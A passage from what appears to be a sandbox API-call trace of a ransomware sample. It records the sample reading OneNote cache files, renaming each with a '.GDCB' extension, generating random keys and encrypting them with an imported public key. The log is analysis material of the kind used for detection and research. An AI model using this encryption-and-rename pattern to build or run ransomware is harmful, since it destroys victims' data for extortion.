dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f81ed8) returned 1 [0184.256] CryptGetKeyParam (in: hKey=0x4f81ed8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0184.256] CryptEncrypt (in: hKey=0x4f81ed8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5b50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0184.256] GetLastError () returned 0x0 [0184.256] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0184.256] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000Q.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000q.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0184.258] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5b60000 [0184.259] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5b70000 [0184.260] ReadFile (in: hFile=0x518, lpBuffer=0x5b70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5b70000*, lpNumberOfBytesRead=0x285d160*=0x118a, lpOverlapped=0x0) returned 1 [0184.297] VirtualAlloc (lpAddress=0x0, dwSize=0x1190, flAllocationType=0x3000, flProtect=0x4) returned 0x5c80000 [0184.302] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000Q.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000q.bin"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000Q.bin.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000q.bin.gdcb")) returned 1 [0184.308] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0184.310] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0184.311] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0184.311] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0184.311] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0184.311] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0184.312] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0184.313] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0184.313] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0184.313] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0184.313] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0184.315] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f82058) returned 1 [0184.315] CryptGetKeyParam (in: hKey=0x4f82058, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0184.315] CryptEncrypt (in: hKey=0x4f82058, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5b40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0184.316] GetLastError () returned 0x0 [0184.316] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0184.316] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0184.318] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f82418) returned 1 [0184.318] CryptGetKeyParam (in: hKey=0x4f82418, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0184.318] CryptEncrypt (in: hKey=0x4f82418, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5b50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0184.318] GetLastError () returned 0x0 [0184.318] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0184.318] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000R.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000r.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0184.320] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5b60000 [0184.321] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5b70000 [0184.322] ReadFile (in: hFile=0x518, lpBuffer=0x5b70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5b70000*, lpNumberOfBytesRead=0x285d160*=0x1ff8, lpOverlapped=0x0) returned 1 [0184.332] VirtualAlloc (lpAddress=0x0, dwSize=0x2000, flAllocationType=0x3000, flProtect=0x4) returned 0x5c80000 [0184.337] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000R.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000r.bin"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000R.bin.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000r.bin.gdcb")) returned 1 [0184.342] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0184.343] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0184.344] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0184.344] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0184.344] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0184.344] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0184.346] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0184.346] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0184.346] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0184.346] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0184.346] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0184.349] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f82358) returned 1 [0184.349] CryptGetKeyParam (in: hKey=0x4f82358, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0184.349] CryptEncrypt (in: hKey=0x4f82358, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5b40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0184.349] GetLastError () returned 0x0 [0184.349] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0184.349] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0184.351] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f82158) returned 1 [0184.351] CryptGetKeyParam (in: hKey=0x4f82158, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0184.351] CryptEncrypt (in: hKey=0x4f82158, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5b50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0184.351] GetLastError () returned 0x0 [0184.351] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0184.351] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000S.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000s.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0184.353] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5b60000 [0184.355] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5b70000 [0184.356] ReadFile (in: hFile=0x518, lpBuffer=0x5b70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5b70000*, lpNumberOfBytesRead=0x285d160*=0x1055, lpOverlapped=0x0) returned 1 [0184.365] VirtualAlloc (lpAddress=0x0, dwSize=0x1060, flAllocationType=0x3000, flProtect=0x4) returned 0x5c80000 [0184.370] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000S.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000s.bin"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000S.bin.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000s.bin.gdcb")) returned 1 [0184.375] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0184.376] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0184.377] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0184.377] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0184.377] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0184.377] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0184.378] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0184.379] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0184.379] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0184.379] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0184.379] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0184.381] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f81d98) returned 1 [0184.381] CryptGetKeyParam (in: hKey=0x4f81d98, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0184.381] CryptEncrypt (in: hKey=0x4f81d98, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5b40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0184.382] GetLastError () returned 0x0 [0184.382] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0184.382] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0184.384] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f81f98) returned 1 [0184.384] CryptGetKeyParam (in: hKey=0x4f81f98, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0184.384] CryptEncrypt (in: hKey=0x4f81f98, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5b50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0184.384] GetLastError () returned 0x0 [0184.384] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0184.384] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000T.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000t.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0184.386] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5b60000 [0184.389] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5b70000 [0184.391] ReadFile (in: hFile=0x518, lpBuffer=0x5b70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5b70000*, lpNumberOfBytesRead=0x285d160*=0x105e, lpOverlapped=0x0) returned 1 [0184.430] VirtualAlloc (lpAddress=0x0, dwSize=0x1060, flAllocationType=0x3000, flProtect=0x4) returned 0x5c80000 [0184.434] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000T.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000t.bin"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000T.bin.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000t.bin.gdcb")) returned 1 [0184.439] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0184.441] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0184.442] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0184.442] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0184.442] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0184.442] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0184.443] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0184.444] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0184.444] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0184.444] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0184.444] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0184.447] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f81dd8) returned 1 [0184.447] CryptGetKeyParam (in: hKey=0x4f81dd8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0184.447] CryptEncrypt (in: hKey=0x4f81dd8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5b40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0184.448] GetLastError () returned 0x0 [0184.448] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0184.448] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0184.450] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f82318) returned 1 [0184.450] CryptGetKeyParam (in: hKey=0x4f82318, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0184.450] CryptEncrypt (in: hKey=0x4f82318, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5b50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0184.450] GetLastError () returned 0x0 [0184.450] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0184.450] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000U.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000u.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0184.452] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5b60000 [0184.454] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5b70000 [0184.455] ReadFile (in: hFile=0x518, lpBuffer=0x5b70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5b70000*, lpNumberOfBytesRead=0x285d160*=0x35a9, lpOverlapped=0x0) returned 1 [0184.485] VirtualAlloc (lpAddress=0x0, dwSize=0x35b0, flAllocationType=0x3000, flProtect=0x4) returned 0x5c80000 [0184.490] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000U.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000u.bin"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000U.bin.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000u.bin.gdcb")) returned 1 [0184.495] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0184.496] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0184.497] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0184.497] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0184.497] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0184.497] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0184.498] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0184.499] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0184.499] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0184.499] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0184.499] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0184.502] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f824d8) returned 1 [0184.502] CryptGetKeyParam (in: hKey=0x4f824d8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0184.502] CryptEncrypt (in: hKey=0x4f824d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5b40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0184.502] GetLastError () returned 0x0 [0184.502] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0184.502] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0184.504] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f82218) returned 1 [0184.504] CryptGetKeyParam (in: hKey=0x4f82218, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0184.504] CryptEncrypt (in: hKey=0x4f82218, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5b50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0184.504] GetLastError () returned 0x0 [0184.504] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0184.504] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000V.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application 